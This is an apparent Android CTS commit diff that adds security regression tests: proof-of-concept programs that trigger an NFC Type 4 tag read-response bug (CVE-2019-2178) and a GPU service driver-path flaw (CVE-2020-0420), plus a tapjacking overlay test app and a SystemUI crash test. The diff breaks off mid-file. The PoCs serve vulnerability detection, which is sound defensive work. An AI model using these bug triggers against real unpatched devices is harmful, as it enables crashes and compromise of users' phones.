diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2021-08-16 23:34:31 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2021-08-16 23:34:31 +0000 |
commit | 53ae555db9685bd90a2e874e0a4e8240d16696c7 (patch) | |
tree | 06369ee203c8692af2c702187bf3016dac5d6f01 | |
parent | 5c33f8c6a50990cb4f6b20276d3982cac06225d5 (diff) | |
parent | 7efde2e8096d0bfaa978a212d0f6a84046492eab (diff) | |
download | cts-53ae555db9685bd90a2e874e0a4e8240d16696c7.tar.gz |
Snap for 7647318 from 7efde2e8096d0bfaa978a212d0f6a84046492eab to sc-mainline-release
Change-Id: I676e399cf137d542db983980ba32294b7c9b5c27
49 files changed, 1854 insertions, 75 deletions
diff --git a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java index e6704267d9b..c6ea1b88fb2 100644 --- a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java +++ b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java @@ -136,6 +136,7 @@ public class ProcessMustUseSeccompTest extends DeviceTestCase { } public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException { - assertSeccompFilter("media.codec", PS_CMD, false); + // 64bit only devices don't have 32bit only media.codec (omx) + assertSeccompFilter("media.codec", PS_CMD, false, false /* mustHaveProcess */); } } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp new file mode 100644 index 00000000000..a4d2d24ca51 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp @@ -0,0 +1,41 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2019-2178", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/nfc/include/", + "system/nfc/src/include/", + "system/nfc/src/gki/common/", + "system/nfc/src/gki/ulinux/", + ], + shared_libs: [ + "libnfc-nci", + "libchrome", + "libbase", + "liblog", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp new file mode 100644 index 00000000000..dc057b856dc --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp @@ -0,0 +1,92 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <stdlib.h> +#include "../includes/common.h" +#include "../includes/memutils.h" + +#include <log/log.h> +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <tags_defs.h> + +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; +void rw_init(void); +tNFC_STATUS rw_t4t_select(void); +void GKI_freebuf(void* x) { (void)x; } + +// borrowed from rw_t4t.cc +/* main state */ +#define RW_T4T_STATE_READ_NDEF 0x03 +/* sub state */ +#define RW_T4T_SUBSTATE_WAIT_READ_RESP 0x05 + +void GKI_start_timer(uint8_t, int32_t, bool) {} +void GKI_stop_timer(uint8_t) {} + +void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) { + (void)event; + (void)p_rw_data; +} + +int main() { + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + if (rw_cb.p_cback != &poc_cback) { + ALOGE("Structure tRW_CB mismatch rw_cb.p_cback=%p poc_cback=%p\n", rw_cb.p_cback, + poc_cback); + return EXIT_FAILURE; + } + tRW_T4T_CB* p_t4t = &rw_cb.tcb.t4t; + GKI_init(); + rw_init(); + + if ((rw_t4t_select()) != NFC_STATUS_OK) { + return EXIT_FAILURE; + } + + tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN)); + if (!p_data) { + return EXIT_FAILURE; + } + p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16); + if (!(p_data->data.p_data)) { + free(p_data); + return EXIT_FAILURE; + } + p_data->status = NFC_STATUS_OK; + + p_t4t->state = RW_T4T_STATE_READ_NDEF; + p_t4t->sub_state = RW_T4T_SUBSTATE_WAIT_READ_RESP; + + NFC_HDR* p_r_apdu = (NFC_HDR*)p_data->data.p_data; + p_r_apdu->offset = 8; + p_r_apdu->len = 1; + + tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_EVT event = NFC_DATA_CEVT; + + p_cb->p_cback(0, event, p_data); + + free(p_data->data.p_data); + free(p_data); + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp index 65407ddc572..dad32cdbf2f 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp @@ -28,6 +28,7 @@ cc_test { compile_multilib: "64", shared_libs: [ "libnfc-nci", + "liblog", ], include_dirs: [ "system/nfc/src/nfc/include", diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp index 048c6c78cec..24f55610e74 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp @@ -15,6 +15,7 @@ */ #include "../includes/common.h" +#include <log/log.h> #include <stdlib.h> #include <nfc_api.h> @@ -32,6 +33,15 @@ void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { } int main() { + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + if (rw_cb.p_cback != &poc_cback) { + ALOGE("Structure tRW_CB mismatch rw_cb.p_cback=%p poc_cback=%p\n", + rw_cb.p_cback, poc_cback); + return EXIT_FAILURE; + } tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; rw_init(); rw_cb.p_cback = &poc_cback; diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp new file mode 100644 index 00000000000..b4078aeda54 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2020-0420", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libutils", + "libbinder", + "libmedia", + "liblog", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp new file mode 100644 index 00000000000..426c6d25e84 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp @@ -0,0 +1,59 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include "../includes/common.h" +#include <binder/IServiceManager.h> +#include <binder/Parcel.h> +#include <stdio.h> + +using namespace android; + +int main(void) { + status_t err; + sp<IServiceManager> sm = defaultServiceManager(); + String16 name(String16("gpu")); + sp<IBinder> service = sm->checkService(name); + String16 interface_name = service->getInterfaceDescriptor(); + + Parcel data, reply; + std::string UpdatableDriverPath("CVE-2020-0420"); + data.writeInterfaceToken(interface_name); + data.writeUtf8AsUtf16(UpdatableDriverPath); + err = service->transact(3 /*SET_UPDATABLE_DRIVER_PATH,*/, data, &reply, 0); + if (err != OK) { + return EXIT_FAILURE; + } + + Parcel data1, reply1; + data1.writeInterfaceToken(interface_name); + err = service->transact(4 /*GET_UPDATABLE_DRIVER_PATH,*/, data1, &reply1, 0); + if (err != OK) { + return EXIT_FAILURE; + } + std::string driverPath; + err = reply1.readUtf8FromUtf16(&driverPath); + if (err != OK) { + return EXIT_FAILURE; + } + + /** If the driver path returned is same as that was set, then there is no + * check in the API and the vulnerability is present. + */ + if (0 == strcmp(driverPath.c_str(), UpdatableDriverPath.c_str())) { + return EXIT_VULNERABLE; + } + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java new file mode 100644 index 00000000000..e31cb479c0e --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; + +import android.platform.test.annotations.AsbSecurityTest; + +import org.junit.Test; +import org.junit.Before; +import org.junit.runner.RunWith; + +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public final class Bug_183963253 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.BUG_183963253"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "BUG-183963253.apk"; + + @Before + public void setUp() throws Exception { + uninstallPackage(getDevice(), TEST_PKG); + } + + @Test + @AsbSecurityTest(cveBugId = 183963253) + public void testRunDeviceTestsPassesFull() throws Exception { + installPackage(TEST_APP); + + // Grant permission to draw overlays. + getDevice().executeShellCommand( + "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW"); + + assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java new file mode 100644 index 00000000000..223e7684b1c --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java @@ -0,0 +1,41 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import android.platform.test.annotations.SecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2178 extends SecurityTestCase { + + /** + * b/124462242 + * Vulnerability Behaviour: SIGSEGV in self + */ + @AsbSecurityTest(cveBugId = 124462242) + @SecurityTest(minPatchLevel = "2019-09") + @Test + public void testPocCVE_2019_2178() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2178", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java index 6133a871c74..7c00d842659 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0072.java @@ -32,6 +32,7 @@ public class CVE_2020_0072 extends SecurityTestCase { @AsbSecurityTest(cveBugId = 147310271) public void testPocCVE_2020_0072() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0072", getDevice()); testConfig.checkCrash = false; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java new file mode 100644 index 00000000000..bff13f3d28e --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0420.java @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import android.platform.test.annotations.SecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2020_0420 extends SecurityTestCase { + + /** + * b/162383705 + * Vulnerability Behaviour: EXIT_VULNERABLE (113) + */ + @AsbSecurityTest(cveBugId = 162383705) + @SecurityTest(minPatchLevel = "2020-10") + @Test + public void testPocCVE_2020_0420() throws Exception { + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0420", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java new file mode 100644 index 00000000000..a3b1eae7c67 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0478.java @@ -0,0 +1,71 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import android.platform.test.annotations.SecurityTest; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0478 extends SecurityTestCase { + + /** + * b/169255797 + */ + @AsbSecurityTest(cveBugId = 169255797) + @SecurityTest(minPatchLevel = "2021-06") + @Test + public void testPocCVE_2021_0478() throws Exception { + final int SLEEP_INTERVAL_MILLISEC = 30 * 1000; + String apkName = "CVE-2021-0478.apk"; + String appPath = AdbUtils.TMP_PATH + apkName; + String packageName = "android.security.cts.cve_2021_0478"; + String crashPattern = "Canvas: trying to draw too large"; + ITestDevice device = getDevice(); + + try { + /* Push the app to /data/local/tmp */ + pocPusher.appendBitness(false); + pocPusher.pushFile(apkName, appPath); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + /* Install the application */ + AdbUtils.runCommandLine("pm install " + appPath, device); + + /* Start the application */ + AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice()); + Thread.sleep(SLEEP_INTERVAL_MILLISEC); + } catch (Exception e) { + e.printStackTrace(); + } finally { + /* Un-install the app after the test */ + AdbUtils.runCommandLine("pm uninstall " + packageName, device); + + /* Check if System UI has crashed thereby indicating the presence */ + /* of the vulnerability */ + String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device); + assertNotMatches(crashPattern, logcat); + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java index d6430844e4a..0353c3d6de6 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java @@ -47,6 +47,7 @@ import java.math.BigInteger; import static org.junit.Assert.*; import static org.junit.Assume.*; +import static org.hamcrest.core.Is.is; public class SecurityTestCase extends BaseHostJUnit4Test { @@ -226,9 +227,17 @@ public class SecurityTestCase extends BaseHostJUnit4Test { } /** - * Check if a driver is present on a machine. + * Check if a driver is present and readable. */ protected boolean containsDriver(ITestDevice device, String driver) throws Exception { + return containsDriver(device, driver, true); + } + + /** + * Check if a driver is present on a machine. + */ + protected boolean containsDriver(ITestDevice device, String driver, boolean checkReadable) + throws Exception { boolean containsDriver = false; if (driver.contains("*")) { // -A list all files but . and .. @@ -239,11 +248,15 @@ public class SecurityTestCase extends BaseHostJUnit4Test { if (AdbUtils.runCommandGetExitCode(ls, device) == 0) { String[] expanded = device.executeShellCommand(ls).split("\\R"); for (String expandedDriver : expanded) { - containsDriver |= containsDriver(device, expandedDriver); + containsDriver |= containsDriver(device, expandedDriver, checkReadable); } } } else { - containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0; + if(checkReadable) { + containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0; + } else { + containsDriver = AdbUtils.runCommandGetExitCode("test -e " + driver, device) == 0; + } } MetricsReportLog reportLog = buildMetricsReportLog(getDevice()); @@ -322,4 +335,28 @@ public class SecurityTestCase extends BaseHostJUnit4Test { boolean moduleIsPlayManaged(String modulePackageName) throws Exception { return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName); } + + public void assumeIsSupportedNfcDevice(ITestDevice device) throws Exception { + String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*", + "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*", + "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*", + "/dev/st54j*" }; + boolean isDriverFound = false; + for(String supportedDriver : supportedDrivers) { + if(containsDriver(device, supportedDriver, false)) { + isDriverFound = true; + break; + } + } + String[] output = device.executeShellCommand("ls -la /dev | grep nfc").split("\\n"); + String nfcDevice = null; + for (String line : output) { + if(line.contains("nfc")) { + String text[] = line.split("\\s+"); + nfcDevice = text[text.length - 1]; + } + } + assumeTrue("NFC device " + nfcDevice + " is not supported. Hence skipping the test", + isDriverFound); + } } diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp new file mode 100644 index 00000000000..63ac1cae84e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp @@ -0,0 +1,31 @@ +// Copyright (C) 2021 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +android_test_helper_app { + name: "BUG-183963253", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.appcompat_appcompat", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml new file mode 100644 index 00000000000..148fc7eced5 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml @@ -0,0 +1,49 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.BUG_183963253" + android:targetSandboxVersion="2"> + + <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" /> + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application android:theme="@style/Theme.AppCompat.Light"> + <uses-library android:name="android.test.runner" /> + <service android:name=".OverlayService" + android:enabled="true" + android:exported="false" /> + + <activity + android:name=".MainActivity" + android:label="ST (Permission)" + android:exported="true" + android:taskAffinity="android.security.cts.BUG_183963253.MainActivity"> + + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.BUG_183963253" /> + +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml new file mode 100644 index 00000000000..0ac0cf489f4 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<RelativeLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:gravity="left" + tools:context=".MainActivity" > + + <LinearLayout + android:id="@+id/linearLayout1" + android:layout_width="fill_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/seekShowTimes" + android:layout_centerHorizontal="true" + android:layout_marginTop="53dp" + android:orientation="horizontal" > + + <Button + android:id="@+id/btnStart" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:text="Start" /> + + </LinearLayout> + +</RelativeLayout> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml new file mode 100644 index 00000000000..c36354599e3 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml @@ -0,0 +1,21 @@ +<!-- + ~ Copyright (C) 2021 The Android Open Source Project + ~ + ~ Licensed under the Apache License, Version 2.0 (the "License"); + ~ you may not use this file except in compliance with the License. + ~ You may obtain a copy of the License at + ~ + ~ http://www.apache.org/licenses/LICENSE-2.0 + ~ + ~ Unless required by applicable law or agreed to in writing, software + ~ distributed under the License is distributed on an "AS IS" BASIS, + ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + ~ See the License for the specific language governing permissions and + ~ limitations under the License. + --> + +<resources> + <string name="app_name">BUG_183963253</string> + <string name="app_description">This is an overlay-activity</string> + <string name="tapjacking_text">BUG_183963253 overlay text</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java new file mode 100644 index 00000000000..6856fc45f8c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java @@ -0,0 +1,25 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_183963253; + +final class Constants { + + public static final String LOG_TAG = "BUG-183963253"; + public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName(); + + public static final String ACTION_START_TAPJACKING = "BUG_183963253.start_tapjacking"; +} diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java new file mode 100644 index 00000000000..108eaf88ccd --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java @@ -0,0 +1,121 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.BUG_183963253; + +import static android.security.cts.BUG_183963253.Constants.LOG_TAG; + +import org.junit.Before; +import org.junit.After; +import org.junit.Test; +import org.junit.runner.RunWith; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.util.Log; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertNotNull; + +/** Basic sample for unbundled UiAutomator. */ +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final long WAIT_FOR_UI_TIMEOUT = 10_000; + + private Context mContext; + private UiDevice mDevice; + + @Before + public void setUp() throws Exception { + Log.d(LOG_TAG, "startMainActivityFromHomeScreen()"); + + mContext = getApplicationContext(); + + // If the permission is not granted, the app will show up in the Usage Access Settings. + // This is required for the test below. + // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail. + assertEquals("Permission PACKAGE_USAGE_STATS not granted!", + mContext.checkSelfPermission("android.permission.PACKAGE_USAGE_STATS"), + PackageManager.PERMISSION_GRANTED); + + // Initialize UiDevice instance + mDevice = UiDevice.getInstance(getInstrumentation()); + if (!mDevice.isScreenOn()) { + mDevice.wakeUp(); + } + mDevice.pressHome(); + } + + @Test + public void testTapjacking() throws InterruptedException { + Log.d(LOG_TAG, "Starting tap-jacking test"); + + launchTestApp(); + + launchTapjackedActivity(); + + mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING)); + Log.d(LOG_TAG, "Sent intent to start tap-jacking!"); + + UiObject2 overlay = waitForView(By.text("BUG_183963253 overlay text")); + assertNull("Tap-jacking successful. Overlay was displayed.!", overlay); + } + + @After + public void tearDown() { + mDevice.pressHome(); + } + + private void launchTestApp() { + Intent intent = 